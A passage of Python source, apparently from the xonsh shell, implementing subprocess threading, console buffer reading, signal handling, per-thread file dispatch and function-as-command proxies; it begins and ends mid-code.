the next prompt is accidentally on # the next line. If this is fixed, uncomment the following line. # if max_offset < offset + expandsize: # rows, max_offset, orig_posize = _expand_console_buffer( # cols, max_offset, expandsize, # orig_posize, fd) # winutils.set_console_cursor_position(x, y, fd=fd) while True: posize = winutils.get_position_size(fd) offset = (cols * y) + x if ((posize[1], posize[0]) <= (y, x) and posize[2:] == (cols, rows)) or ( pre_x == x and pre_y == y ): # already at or ahead of the current cursor position. if reader.closed: break else: time.sleep(reader.timeout) continue elif max_offset <= offset + expandsize: ecb = _expand_console_buffer(cols, max_offset, expandsize, orig_posize, fd) rows, max_offset, orig_posize = ecb continue elif posize[2:] == (cols, rows): # cursor updated but screen size is the same. pass else: # screen size changed, which is offset preserving orig_posize = posize cols, rows = posize[2:] x = offset % cols y = offset // cols pre_x = pre_y = -1 max_offset = (rows - 1) * cols continue try: buf = winutils.read_console_output_character( x=x, y=y, fd=fd, buf=buffer, bufsize=chunksize, raw=True ) except (OSError, IOError): reader.closed = True break # cursor position and offset if not reader.closed: buf = buf.rstrip() nread = len(buf) if nread == 0: time.sleep(reader.timeout) continue cur_x, cur_y = posize[0], posize[1] cur_offset = (cols * cur_y) + cur_x beg_offset = (cols * y) + x end_offset = beg_offset + nread if end_offset > cur_offset and cur_offset != max_offset: buf = buf[: cur_offset - end_offset] # convert to lines xshift = cols - x yshift = (nread // cols) + (1 if nread % cols > 0 else 0) lines = [buf[:xshift]] lines += [ buf[l * cols + xshift : (l + 1) * cols + xshift] for l in range(yshift) ] lines = [line for line in lines if line] if not lines: time.sleep(reader.timeout) continue # put lines in the queue nl = b"\n" for line in lines[:-1]: queue.put(line.rstrip() + nl) if len(lines[-1]) == xshift: queue.put(lines[-1].rstrip() + nl) else: queue.put(lines[-1]) # update x and y locations if (beg_offset + len(buf)) % cols == 0: new_offset = beg_offset + len(buf) else: new_offset = beg_offset + len(buf.rstrip()) pre_x = x pre_y = y x = new_offset % cols y = new_offset // cols time.sleep(reader.timeout) class ConsoleParallelReader(QueueReader): """Parallel reader for consoles that runs in a background thread. This is only needed, available, and useful on Windows. """ def __init__(self, fd, buffer=None, chunksize=1024, timeout=None): """ Parameters ---------- fd : int Standard buffer file descriptor, 0 for stdin, 1 for stdout (default), and 2 for stderr. buffer : ctypes.c_wchar_p, optional An existing buffer to (re-)use. chunksize : int, optional The max size of the parallel reads, default 1 kb. timeout : float, optional The queue reading timeout. """ timeout = timeout or builtins.__xonsh__.env.get("XONSH_PROC_FREQUENCY") super().__init__(fd, timeout=timeout) self._buffer = buffer # this cannot be public if buffer is None: self._buffer = ctypes.c_char_p(b" " * chunksize) self.chunksize = chunksize # start reading from stream self.thread = threading.Thread( target=populate_console, args=(self, fd, self._buffer, chunksize, self.queue), ) self.thread.daemon = True self.thread.start() def safe_fdclose(handle, cache=None): """Closes a file handle in the safest way possible, and potentially storing the result. """ if cache is not None and cache.get(handle, False): return status = True if handle is None: pass elif isinstance(handle, int): if handle >= 3: # don't close stdin, stdout, stderr, -1 try: os.close(handle) except OSError: status = False elif handle is sys.stdin or handle is sys.stdout or handle is sys.stderr: # don't close stdin, stdout, or stderr pass else: try: handle.close() except OSError: status = False if cache is not None: cache[handle] = status def safe_flush(handle): """Attempts to safely flush a file handle, returns success bool.""" status = True try: handle.flush() except OSError: status = False return status def still_writable(fd): """Determines whether a file descriptor is still writable by trying to write an empty string and seeing if it fails. """ try: os.write(fd, b"") status = True except OSError: status = False return status class PopenThread(threading.Thread): """A thread for running and managing subprocess. This allows reading from the stdin, stdout, and stderr streams in a non-blocking fashion. This takes the same arguments and keyword arguments as regular Popen. This requires that the captured_stdout and captured_stderr attributes to be set following instantiation. """ def __init__(self, *args, stdin=None, stdout=None, stderr=None, **kwargs): super().__init__() self.lock = threading.RLock() env = builtins.__xonsh__.env # stdin setup self.orig_stdin = stdin if stdin is None: self.stdin_fd = 0 elif isinstance(stdin, int): self.stdin_fd = stdin else: self.stdin_fd = stdin.fileno() self.store_stdin = env.get("XONSH_STORE_STDIN") self.timeout = env.get("XONSH_PROC_FREQUENCY") self.in_alt_mode = False self.stdin_mode = None # stdout setup self.orig_stdout = stdout self.stdout_fd = 1 if stdout is None else stdout.fileno() self._set_pty_size() # stderr setup self.orig_stderr = stderr # Set some signal handles, if we can. Must come before process # is started to prevent deadlock on windows self.proc = None # has to be here for closure for handles self.old_int_handler = self.old_winch_handler = None self.old_tstp_handler = self.old_quit_handler = None if on_main_thread(): self.old_int_handler = signal.signal(signal.SIGINT, self._signal_int) if ON_POSIX: self.old_tstp_handler = signal.signal(signal.SIGTSTP, self._signal_tstp) self.old_quit_handler = signal.signal(signal.SIGQUIT, self._signal_quit) if CAN_RESIZE_WINDOW: self.old_winch_handler = signal.signal( signal.SIGWINCH, self._signal_winch ) # start up process if ON_WINDOWS and stdout is not None: os.set_inheritable(stdout.fileno(), False) try: self.proc = proc = subprocess.Popen( *args, stdin=stdin, stdout=stdout, stderr=stderr, **kwargs ) except Exception: self._clean_up() raise self.pid = proc.pid self.universal_newlines = uninew = proc.universal_newlines if uninew: self.encoding = enc = env.get("XONSH_ENCODING") self.encoding_errors = err = env.get("XONSH_ENCODING_ERRORS") self.stdin = io.BytesIO() # stdin is always bytes! self.stdout = io.TextIOWrapper(io.BytesIO(), encoding=enc, errors=err) self.stderr = io.TextIOWrapper(io.BytesIO(), encoding=enc, errors=err) else: self.encoding = self.encoding_errors = None self.stdin = io.BytesIO() self.stdout = io.BytesIO() self.stderr = io.BytesIO() self.suspended = False self.prevs_are_closed = False self.start() def run(self): """Runs the subprocess by performing a parallel read on stdin if allowed, and copying bytes from captured_stdout to stdout and bytes from captured_stderr to stderr. """ proc = self.proc spec = self._wait_and_getattr("spec") # get stdin and apply parallel reader if needed. stdin = self.stdin if self.orig_stdin is None: origin = None elif ON_POSIX and self.store_stdin: origin = self.orig_stdin origfd = origin if isinstance(origin, int) else origin.fileno() origin = BufferedFDParallelReader(origfd, buffer=stdin) else: origin = None # get non-blocking stdout stdout = self.stdout.buffer if self.universal_newlines else self.stdout capout = spec.captured_stdout if capout is None: procout = None else: procout = NonBlockingFDReader(capout.fileno(), timeout=self.timeout) # get non-blocking stderr stderr = self.stderr.buffer if self.universal_newlines else self.stderr caperr = spec.captured_stderr if caperr is None: procerr = None else: procerr = NonBlockingFDReader(caperr.fileno(), timeout=self.timeout) # initial read from buffer self._read_write(procout, stdout, sys.__stdout__) self._read_write(procerr, stderr, sys.__stderr__) # loop over reads while process is running. i = j = cnt = 1 while proc.poll() is None: # this is here for CPU performance reasons. if i + j == 0: cnt = min(cnt + 1, 1000) tout = self.timeout * cnt if procout is not None: procout.timeout = tout if procerr is not None: procerr.timeout = tout elif cnt == 1: pass else: cnt = 1 if procout is not None: procout.timeout = self.timeout if procerr is not None: procerr.timeout = self.timeout # redirect some output! i = self._read_write(procout, stdout, sys.__stdout__) j = self._read_write(procerr, stderr, sys.__stderr__) if self.suspended: break if self.suspended: return # close files to send EOF to non-blocking reader. # capout & caperr seem to be needed only by Windows, while # orig_stdout & orig_stderr are need by posix and Windows. # Also, order seems to matter here, # with orig_* needed to be closed before cap* safe_fdclose(self.orig_stdout) safe_fdclose(self.orig_stderr) if ON_WINDOWS: safe_fdclose(capout) safe_fdclose(caperr) # read in the remaining data in a blocking fashion. while (procout is not None and not procout.is_fully_read()) or ( procerr is not None and not procerr.is_fully_read() ): self._read_write(procout, stdout, sys.__stdout__) self._read_write(procerr, stderr, sys.__stderr__) # kill the process if it is still alive. Happens when piping. if proc.poll() is None: proc.terminate() def _wait_and_getattr(self, name): """make sure the instance has a certain attr, and return it.""" while not hasattr(self, name): time.sleep(1e-7) return getattr(self, name) def _read_write(self, reader, writer, stdbuf): """Reads a chunk of bytes from a buffer and write into memory or back down to the standard buffer, as appropriate. Returns the number of successful reads. """ if reader is None: return 0 i = -1 for i, chunk in enumerate(iter(reader.read_queue, b"")): self._alt_mode_switch(chunk, writer, stdbuf) if i >= 0: writer.flush() stdbuf.flush() return i + 1 def _alt_mode_switch(self, chunk, membuf, stdbuf): """Enables recursively switching between normal capturing mode and 'alt' mode, which passes through values to the standard buffer. Pagers, text editors, curses applications, etc. use alternate mode. """ i, flag = findfirst(chunk, ALTERNATE_MODE_FLAGS) if flag is None: self._alt_mode_writer(chunk, membuf, stdbuf) else: # This code is executed when the child process switches the # terminal into or out of alternate mode. The line below assumes # that the user has opened vim, less, or similar, and writes writes # to stdin. j = i + len(flag) # write the first part of the chunk in the current mode. self._alt_mode_writer(chunk[:i], membuf, stdbuf) # switch modes # write the flag itself the current mode where alt mode is on # so that it is streamed to the terminal ASAP. # this is needed for terminal emulators to find the correct # positions before and after alt mode. alt_mode = flag in START_ALTERNATE_MODE if alt_mode: self.in_alt_mode = alt_mode self._alt_mode_writer(flag, membuf, stdbuf) self._enable_cbreak_stdin() else: self._alt_mode_writer(flag, membuf, stdbuf) self.in_alt_mode = alt_mode self._disable_cbreak_stdin() # recurse this function, but without the current flag. self._alt_mode_switch(chunk[j:], membuf, stdbuf) def _alt_mode_writer(self, chunk, membuf, stdbuf): """Write bytes to the standard buffer if in alt mode or otherwise to the in-memory buffer. """ if not chunk: pass # don't write empty values elif self.in_alt_mode: stdbuf.buffer.write(chunk) else: with self.lock: p = membuf.tell() membuf.seek(0, io.SEEK_END) membuf.write(chunk) membuf.seek(p) # # Window resize handlers # def _signal_winch(self, signum, frame): """Signal handler for SIGWINCH - window size has changed.""" self.send_signal(signal.SIGWINCH) self._set_pty_size() def _set_pty_size(self): """Sets the window size of the child pty based on the window size of our own controlling terminal. """ if ON_WINDOWS or not os.isatty(self.stdout_fd): return # Get the terminal size of the real terminal, set it on the # pseudoterminal. buf = array.array("h", [0, 0, 0, 0]) # 1 = stdout here try: fcntl.ioctl(1, termios.TIOCGWINSZ, buf, True) fcntl.ioctl(self.stdout_fd, termios.TIOCSWINSZ, buf) except OSError: pass # # SIGINT handler # def _signal_int(self, signum, frame): """Signal handler for SIGINT - Ctrl+C may have been pressed.""" self.send_signal(signum) if self.proc is not None and self.proc.poll() is not None: self._restore_sigint(frame=frame) if on_main_thread(): signal.pthread_kill(threading.get_ident(), signal.SIGINT) def _restore_sigint(self, frame=None): old = self.old_int_handler if old is not None: if on_main_thread(): signal.signal(signal.SIGINT, old) self.old_int_handler = None if frame is not None: self._disable_cbreak_stdin() if old is not None and old is not self._signal_int: old(signal.SIGINT, frame) # # SIGTSTP handler # def _signal_tstp(self, signum, frame): """Signal handler for suspending SIGTSTP - Ctrl+Z may have been pressed. """ self.suspended = True self.send_signal(signum) self._restore_sigtstp(frame=frame) def _restore_sigtstp(self, frame=None): old = self.old_tstp_handler if old is not None: if on_main_thread(): signal.signal(signal.SIGTSTP, old) self.old_tstp_handler = None if frame is not None: self._disable_cbreak_stdin() # # SIGQUIT handler # def _signal_quit(self, signum, frame): r"""Signal handler for quiting SIGQUIT - Ctrl+\ may have been pressed. """ self.send_signal(signum) self._restore_sigquit(frame=frame) def _restore_sigquit(self, frame=None): old = self.old_quit_handler if old is not None: if on_main_thread(): signal.signal(signal.SIGQUIT, old) self.old_quit_handler = None if frame is not None: self._disable_cbreak_stdin() # # cbreak mode handlers # def _enable_cbreak_stdin(self): if not ON_POSIX: return try: self.stdin_mode = termios.tcgetattr(self.stdin_fd)[:] except termios.error: # this can happen for cases where another process is controlling # xonsh's tty device, such as in testing. self.stdin_mode = None return new = self.stdin_mode[:] new[LFLAG] &= ~(termios.ECHO | termios.ICANON) new[CC][termios.VMIN] = 1 new[CC][termios.VTIME] = 0 try: # termios.TCSAFLUSH may be less reliable than termios.TCSANOW termios.tcsetattr(self.stdin_fd, termios.TCSANOW, new) except termios.error: self._disable_cbreak_stdin() def _disable_cbreak_stdin(self): if not ON_POSIX or self.stdin_mode is None: return new = self.stdin_mode[:] new[LFLAG] |= termios.ECHO | termios.ICANON new[CC][termios.VMIN] = 1 new[CC][termios.VTIME] = 0 try: termios.tcsetattr(self.stdin_fd, termios.TCSANOW, new) except termios.error: pass # # Dispatch methods # def poll(self): """Dispatches to Popen.returncode.""" return self.proc.returncode def wait(self, timeout=None): """Dispatches to Popen.wait(), but also does process cleanup such as joining this thread and replacing the original window size signal handler. """ self._disable_cbreak_stdin() rtn = self.proc.wait(timeout=timeout) self.join() # need to replace the old signal handlers somewhere... if self.old_winch_handler is not None and on_main_thread(): signal.signal(signal.SIGWINCH, self.old_winch_handler) self.old_winch_handler = None self._clean_up() return rtn def _clean_up(self): self._restore_sigint() self._restore_sigtstp() self._restore_sigquit() @property def returncode(self): """Process return code.""" return self.proc.returncode @returncode.setter def returncode(self, value): """Process return code.""" self.proc.returncode = value @property def signal(self): """Process signal, or None.""" s = getattr(self.proc, "signal", None) if s is None: rtn = self.returncode if rtn is not None and rtn != 0: s = (-1 * rtn, rtn < 0 if ON_WINDOWS else os.WCOREDUMP(rtn)) return s @signal.setter def signal(self, value): """Process signal, or None.""" self.proc.signal = value def send_signal(self, signal): """Dispatches to Popen.send_signal().""" dt = 0.0 while self.proc is None and dt < self.timeout: time.sleep(1e-7) dt += 1e-7 if self.proc is None: return try: rtn = self.proc.send_signal(signal) except ProcessLookupError: # This can happen in the case of !(cmd) when the command has ended rtn = None return rtn def terminate(self): """Dispatches to Popen.terminate().""" return self.proc.terminate() def kill(self): """Dispatches to Popen.kill().""" return self.proc.kill() class Handle(int): closed = False def Close(self, CloseHandle=None): CloseHandle = CloseHandle or _winapi.CloseHandle if not self.closed: self.closed = True CloseHandle(self) def Detach(self): if not self.closed: self.closed = True return int(self) raise ValueError("already closed") def __repr__(self): return "Handle(%d)" % int(self) __del__ = Close __str__ = __repr__ class FileThreadDispatcher: """Dispatches to different file handles depending on the current thread. Useful if you want file operation to go to different places for different threads. """ def __init__(self, default=None): """ Parameters ---------- default : file-like or None, optional The file handle to write to if a thread cannot be found in the registry. If None, a new in-memory instance. Attributes ---------- registry : dict Maps thread idents to file handles. """ if default is None: default = io.TextIOWrapper(io.BytesIO()) self.default = default self.registry = {} def register(self, handle): """Registers a file handle for the current thread. Returns self so that this method can be used in a with-statement. """ self.registry[threading.get_ident()] = handle return self def deregister(self): """Removes the current thread from the registry.""" del self.registry[threading.get_ident()] @property def available(self): """True if the thread is available in the registry.""" return threading.get_ident() in self.registry @property def handle(self): """Gets the current handle for the thread.""" return self.registry.get(threading.get_ident(), self.default) def __enter__(self): pass def __exit__(self, ex_type, ex_value, ex_traceback): self.deregister() # # io.TextIOBase interface # @property def encoding(self): """Gets the encoding for this thread's handle.""" return self.handle.encoding @property def errors(self): """Gets the errors for this thread's handle.""" return self.handle.errors @property def newlines(self): """Gets the newlines for this thread's handle.""" return self.handle.newlines @property def buffer(self): """Gets the buffer for this thread's handle.""" return self.handle.buffer def detach(self): """Detaches the buffer for the current thread.""" return self.handle.detach() def read(self, size=None): """Reads from the handle for the current thread.""" return self.handle.read(size) def readline(self, size=-1): """Reads a line from the handle for the current thread.""" return self.handle.readline(size) def readlines(self, hint=-1): """Reads lines from the handle for the current thread.""" return self.handle.readlines(hint) def seek(self, offset, whence=io.SEEK_SET): """Seeks the current file.""" return self.handle.seek(offset, whence) def tell(self): """Reports the current position in the handle for the current thread.""" return self.handle.tell() def write(self, s): """Writes to this thread's handle. This also flushes, just to be extra sure the string was written. """ h = self.handle try: r = h.write(s) h.flush() except OSError: r = None return r @property def line_buffering(self): """Gets if line buffering for this thread's handle enabled.""" return self.handle.line_buffering # # io.IOBase interface # def close(self): """Closes the current thread's handle.""" return self.handle.close() @property def closed(self): """Is the thread's handle closed.""" return self.handle.closed def fileno(self): """Returns the file descriptor for the current thread.""" return self.handle.fileno() def flush(self): """Flushes the file descriptor for the current thread.""" return safe_flush(self.handle) def isatty(self): """Returns if the file descriptor for the current thread is a tty.""" return self.handle.isatty() def readable(self): """Returns if file descriptor for the current thread is readable.""" return self.handle.readable() def seekable(self): """Returns if file descriptor for the current thread is seekable.""" return self.handle.seekable() def truncate(self, size=None): """Truncates the file for for the current thread.""" return self.handle.truncate() def writable(self, size=None): """Returns if file descriptor for the current thread is writable.""" return self.handle.writable(size) def writelines(self): """Writes lines for the file descriptor for the current thread.""" return self.handle.writelines() # These should NOT be lazy since they *need* to get the true stdout from the # main thread. Also their creation time should be negligible. STDOUT_DISPATCHER = FileThreadDispatcher(default=sys.stdout) STDERR_DISPATCHER = FileThreadDispatcher(default=sys.stderr) def parse_proxy_return(r, stdout, stderr): """Proxies may return a variety of outputs. This handles them generally. Parameters ---------- r : tuple, str, int, or None Return from proxy function stdout : file-like Current stdout stream stdout : file-like Current stderr stream Returns ------- cmd_result : int The return code of the proxy """ cmd_result = 0 if isinstance(r, str): stdout.write(r) stdout.flush() elif isinstance(r, int): cmd_result = r elif isinstance(r, cabc.Sequence): rlen = len(r) if rlen > 0 and r[0] is not None: stdout.write(r[0]) stdout.flush() if rlen > 1 and r[1] is not None: stderr.write(r[1]) stderr.flush() if rlen > 2 and r[2] is not None: cmd_result = r[2] elif r is not None: # for the random object... stdout.write(str(r)) stdout.flush() return cmd_result def proxy_zero(f, args, stdin, stdout, stderr, spec, stack): """Calls a proxy function which takes no parameters.""" return f() def proxy_one(f, args, stdin, stdout, stderr, spec, stack): """Calls a proxy function which takes one parameter: args""" return f(args) def proxy_two(f, args, stdin, stdout, stderr, spec, stack): """Calls a proxy function which takes two parameter: args and stdin.""" return f(args, stdin) def proxy_three(f, args, stdin, stdout, stderr, spec, stack): """Calls a proxy function which takes three parameter: args, stdin, stdout. """ return f(args, stdin, stdout) def proxy_four(f, args, stdin, stdout, stderr, spec, stack): """Calls a proxy function which takes four parameter: args, stdin, stdout, and stderr. """ return f(args, stdin, stdout, stderr) def proxy_five(f, args, stdin, stdout, stderr, spec, stack): """Calls a proxy function which takes four parameter: args, stdin, stdout, stderr, and spec. """ return f(args, stdin, stdout, stderr, spec) PROXIES = (proxy_zero, proxy_one, proxy_two, proxy_three, proxy_four, proxy_five) PROXY_KWARG_NAMES = frozenset(["args", "stdin", "stdout", "stderr", "spec", "stack"]) def partial_proxy(f): """Dispatches the appropriate proxy function based on the number of args.""" numargs = 0 for name, param in inspect.signature(f).parameters.items(): if ( param.kind == param.POSITIONAL_ONLY or param.kind == param.POSITIONAL_OR_KEYWORD ): numargs += 1 elif name in PROXY_KWARG_NAMES and param.kind == param.KEYWORD_ONLY: numargs += 1 if numargs < 6: return functools.partial(PROXIES[numargs], f) elif numargs == 6: # don't need to partial. return f else: e = "Expected proxy with 6 or fewer arguments for {}, not {}" raise XonshError(e.format(", ".join(PROXY_KWARG_NAMES), numargs)) class ProcProxyThread(threading.Thread): """ Class representing a function to be run as a subprocess-mode command. """ def __init__( self, f, args, stdin=None, stdout=None, stderr=None, universal_newlines=False, env=None, ): """Parameters ---------- f : function The function to be executed. args : list A (possibly empty) list containing the arguments that were given on the command line stdin : file-like, optional A file-like object representing stdin (input can be read from here). If `stdin` is not provided or if it is explicitly set to `None`, then an instance of `io.StringIO` representing an empty file is used. stdout : file-like, optional A file-like object representing stdout (normal output can be written here). If `stdout` is not provided or if it is explicitly set to `None`, then `sys.stdout` is used. stderr : file-like, optional A file-like object representing stderr (error output can be written here). If `stderr` is not provided or if it is explicitly set to `None`, then `sys.stderr` is used. universal_newlines : bool, optional Whether or not to use universal newlines. env : Mapping, optional Environment mapping. """ self.orig_f = f self.f = partial_proxy(f) self.args = args self.pid = None self.returncode = None self._closed_handle_cache = {} handles = self._get_handles(stdin, stdout, stderr) ( self.p2cread, self.p2cwrite, self.c2pread, self.c2pwrite, self.errread, self.errwrite, ) = handles # default values self.stdin = stdin self.stdout = stdout self.stderr = stderr self.env = env or builtins.__xonsh__.env self._interrupted = False if ON_WINDOWS: if self.p2cwrite != -1: self.p2cwrite = msvcrt.open_osfhandle(self.p2cwrite.Detach(), 0) if self.c2pread != -1: self.c2pread = msvcrt.open_osfhandle(self.c2pread.Detach(), 0) if self.errread != -1: self.errread = msvcrt.open_osfhandle(self.errread.Detach(), 0) if self.p2cwrite != -1: self.stdin = io.open(self.p2cwrite, "wb", -1) if universal_newlines: self.stdin = io.TextIOWrapper( self.stdin, write_through=True, line_buffering=False ) elif isinstance(stdin, int) and stdin != 0: self.stdin = io.open(stdin, "wb", -1) if self.c2pread != -1: self.stdout = io.open(self.c2pread, "rb", -1) if universal_newlines: self.stdout = io.TextIOWrapper(self.stdout) if self.errread != -1: self.stderr = io.open(self.errread, "rb", -1) if universal_newlines: self.stderr = io.TextIOWrapper(self.stderr) # Set some signal handles, if we can. Must come before process # is started to prevent deadlock on windows self.old_int_handler = None if on_main_thread(): self.old_int_handler = signal.signal(signal.SIGINT, self._signal_int) # start up the proc super().__init__() self.start() def __del__(self): self._restore_sigint() def run(self): """Set up input/output streams and execute the child function in a new thread. This is part of the `threading.Thread` interface and should not be called directly. """ if self.f is None: return spec = self._wait_and_getattr("spec") last_in_pipeline = spec.last_in_pipeline if last_in_pipeline: capout = spec.captured_stdout # NOQA caperr = spec.captured_stderr # NOQA env = builtins.__xonsh__.env enc = env.get("XONSH_ENCODING") err = env.get("XONSH_ENCODING_ERRORS") if ON_WINDOWS: if self.p2cread != -1: self.p2cread = msvcrt.open_osfhandle(self.p2cread.Detach(), 0) if self.c2pwrite != -1: self.c2pwrite = msvcrt.open_osfhandle(self.c2pwrite.Detach(), 0) if self.errwrite != -1: self.errwrite = msvcrt.open_osfhandle(self.errwrite.Detach(), 0) # get stdin if self.stdin is None: sp_stdin = None elif self.p2cread != -1: sp_stdin = io.TextIOWrapper( io.open(self.p2cread, "rb", -1), encoding=enc, errors=err ) else: sp_stdin = sys.stdin # stdout if self.c2pwrite != -1: sp_stdout = io.TextIOWrapper( io.open(self.c2pwrite, "wb", -1), encoding=enc, errors=err ) else: sp_stdout = sys.stdout # stderr if self.errwrite == self.c2pwrite: sp_stderr = sp_stdout elif self.errwrite != -1: sp_stderr = io.TextIOWrapper( io.open(self.errwrite, "wb", -1), encoding=enc, errors=err ) else: sp_stderr = sys.stderr # run the function itself try: with STDOUT_DISPATCHER.register(sp_stdout), STDERR_DISPATCHER.register( sp_stderr ), redirect_stdout(STDOUT_DISPATCHER), redirect_stderr(STDERR_DISPATCHER): r = self.f(self.args, sp_stdin, sp_stdout, sp_stderr, spec, spec.stack) except SystemExit as e: r = e.code if isinstance(e.code, int) else int(bool(e.code)) except OSError as e: status = still_writable(self.c2pwrite) and still_writable(self.errwrite) if status: # stdout and stderr are still writable, so error must # come from function itself. print_exception() r = 1 else: # stdout and stderr are no longer writable, so error must # come from the fact that the next process in the pipeline # has closed the other side of the pipe. The function then # attempted to write to this side of the pipe anyway. This # is not truly an error and we should exit gracefully. r = 0 except Exception: print_exception() r = 1 safe_flush(sp_stdout) safe_flush(sp_stderr) self.returncode = parse_proxy_return(r, sp_stdout, sp_stderr) if not last_in_pipeline and not ON_WINDOWS: # mac requires us *not to* close the handles here while # windows requires us *to* close the handles here return # clean up # scopz: not sure why this is needed, but stdin cannot go here # and stdout & stderr must. handles = [self.stdout, self.stderr] for handle in handles: safe_fdclose(handle, cache=self._closed_handle_cache) def _wait_and_getattr(self, name): """make sure the instance has a certain attr, and return it.""" while not hasattr(self, name): time.sleep(1e-7) return getattr(self, name) def poll(self): """Check if the function has completed. Returns ------- None if the function is still executing, and the returncode otherwise """ return self.returncode def wait(self, timeout=None): """Waits for the process to finish and returns the return code.""" self.join() self._restore_sigint() return self.returncode # # SIGINT handler # def _signal_int(self, signum, frame): """Signal handler for SIGINT - Ctrl+C may have been pressed.""" # Check if we have already been interrupted. This should prevent # the possibility of infinite recursion. if self._interrupted: return self._interrupted = True # close file handles here to stop an processes piped to us. handles = ( self.p2cread, self.p2cwrite, self.c2pread, self.c2pwrite, self.errread, self.errwrite, ) for handle in handles: safe_fdclose(handle) if self.poll() is not None: self._restore_sigint(frame=frame) if on_main_thread(): signal.pthread_kill(threading.get_ident(), signal.SIGINT) def _restore_sigint(self, frame=None): old = self.old_int_handler if old is not None: if on_main_thread(): signal.signal(signal.SIGINT, old) self.old_int_handler = None if frame is not None: if old is not None and old is not self._signal_int: old(signal.SIGINT, frame) if self._interrupted: self.returncode = 1 # The code below (_get_devnull, _get_handles, and _make_inheritable) comes # from subprocess.py in the Python 3.4.2 Standard Library def _get_devnull(self): if not hasattr(self, "_devnull"): self._devnull = os.open(os.devnull, os.O_RDWR) return self._devnull if ON_WINDOWS: def _make_inheritable(self, handle): """Return a duplicate of handle, which is inheritable""" h = _winapi.DuplicateHandle( _winapi.GetCurrentProcess(), handle, _winapi.GetCurrentProcess(), 0, 1, _winapi.DUPLICATE_SAME_ACCESS, ) return Handle(h) def _get_handles(self, stdin, stdout, stderr): """Construct and return tuple with IO objects: p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite """ if stdin is None and stdout is None and stderr is None: return (-1, -1, -1, -1, -1, -1) p2cread, p2cwrite = -1, -1 c2pread, c2pwrite = -1, -1 errread, errwrite = -1, -1 if stdin is None: p2cread = _winapi.GetStdHandle(_winapi.STD_INPUT_HANDLE) if p2cread is None: p2cread, _ = _winapi.CreatePipe(None, 0) p2cread = Handle(p2cread) _winapi.CloseHandle(_) elif stdin == subprocess.PIPE: p2cread, p2cwrite = Handle(p2cread), Handle(p2cwrite) elif stdin == subprocess.DEVNULL: p2cread = msvcrt.get_osfhandle(self._get_devnull()) elif isinstance(stdin, int): p2cread = msvcrt.get_osfhandle(stdin) else: # Assuming file-like object p2cread = msvcrt.get_osfhandle(stdin.fileno()) p2cread = self._make_inheritable(p2cread) if stdout is None: c2pwrite = _winapi.GetStdHandle(_winapi.STD_OUTPUT_HANDLE) if c2pwrite is None: _, c2pwrite = _winapi.CreatePipe(None, 0) c2pwrite = Handle(c2pwrite) _winapi.CloseHandle(_) elif stdout == subprocess.PIPE: c2pread, c2pwrite = _winapi.CreatePipe(None, 0) c2pread, c2pwrite = Handle(c2pread), Handle(c2pwrite) elif stdout == subprocess.DEVNULL: c2pwrite = msvcrt.get_osfhandle(self._get_devnull()) elif isinstance(stdout, int): c2pwrite = msvcrt.get_osfhandle(stdout) else: # Assuming file-like object c2pwrite = msvcrt.get_osfhandle(stdout.fileno()) c2pwrite = self._make_inheritable(c2pwrite) if stderr is None: errwrite = _winapi.GetStdHandle(_winapi.STD_ERROR_HANDLE) if errwrite is None: _, errwrite = _winapi.CreatePipe(None, 0) errwrite = Handle(errwrite) _winapi.CloseHandle(_) elif stderr == subprocess.PIPE: errread, errwrite = _winapi.CreatePipe(None, 0) errread, errwrite = Handle(errread), Handle(errwrite) elif stderr == subprocess.STDOUT: errwrite = c2pwrite elif stderr == subprocess.DEVNULL: errwrite = msvcrt.get_osfhandle(self._get_devnull()) elif isinstance(stderr, int): errwrite = msvcrt.get_osfhandle(stderr) else: # Assuming file-like object errwrite = msvcrt.get_osfhandle(stderr.fileno()) errwrite = self._make_inheritable(errwrite) return (p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite) else: # POSIX versions def _get_handles(self, stdin, stdout, stderr): """Construct and return tuple with IO objects: p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite """ p2cread, p2cwrite = -1, -1 c2pread, c2pwrite = -1, -1 errread, errwrite = -1, -1 if stdin is None: pass elif stdin == subprocess.PIPE: p2cread, p2cwrite = os.pipe() elif stdin == subprocess.DEVNULL: p2cread = self._get_devnull() elif isinstance(stdin, int): p2cread = stdin else: # Assuming file-like object p2cread = stdin.fileno() if stdout is None: pass elif stdout == subprocess.PIPE: c2pread, c2pwrite = os.pipe() elif stdout == subprocess.DEVNULL: c2pwrite = self._get_devnull() elif isinstance(stdout, int): c2pwrite = stdout else: # Assuming file-like object c2pwrite = stdout.fileno() if stderr is None: pass elif stderr == subprocess.PIPE: errread, errwrite = os.pipe() elif stderr == subprocess.STDOUT: errwrite = c2pwrite elif stderr == subprocess.DEVNULL: errwrite = self._get_devnull() elif isinstance(stderr, int): errwrite = stderr else: # Assuming file-like object errwrite = stderr.fileno() return (p2cread, p2cwrite, c2pread, c2pwrite, errread, errwrite) # # Foreground Thread Process Proxies # class ProcProxy(object): """This is process proxy class that runs its alias functions on the same thread that it was called from, which is typically the main thread. This prevents the process from running on a background thread, but enables debugger and profiler tools (functions) be run on the same thread that they are attempting to debug. """ def __init__( self, f, args, stdin=None, stdout=None, stderr=None, universal_newlines=False, env=None, ): self.orig_f = f self.f = partial_proxy(f) self.args = args self.pid = os.getpid() self.returncode = None self.stdin = stdin self.stdout = stdout self.stderr = stderr self.universal_newlines = universal_newlines self.env = env def poll(self): """Check if the function has completed via the returncode or None. """ return self.returncode def wait(self, timeout=None): """Runs the function and returns the result. Timeout argument only present for API compatibility. """ if self.f is None: return 0 env = builtins.__xonsh__.env enc = env.get("XONSH_ENCODING") err = env.get("XONSH_ENCODING_ERRORS") spec = self._wait_and_getattr("spec") # set file handles if self.stdin is None: stdin = None else: if isinstance(self.stdin, int): inbuf = io.open(self.stdin, "rb", -1) else: inbuf = self.stdin stdin = io.TextIOWrapper(inbuf, encoding=enc, errors=err) stdout = self._pick_buf(self.stdout, sys.stdout, enc, err) stderr = self._pick_buf(self.stderr, sys.stderr, enc, err) # run the actual function try: r = self.f(self.args, stdin, stdout, stderr, spec, spec.stack) except Exception: print_exception() r = 1 self.returncode = parse_proxy_return(r, stdout, stderr) safe_flush(stdout) safe_flush(stderr) return self.returncode @staticmethod def _pick_buf(handle, sysbuf, enc, err): if handle is None or handle is sysbuf: buf = sysbuf elif isinstance(handle, int): if handle < 3: buf = sysbuf else: buf = io.TextIOWrapper( io.open(handle, "wb", -1), encoding=enc, errors=err ) elif hasattr(handle, "encoding"): # must be a text stream, no need to wrap. buf = handle else: # must be a binary stream, should wrap it. buf = io.TextIOWrapper(handle, 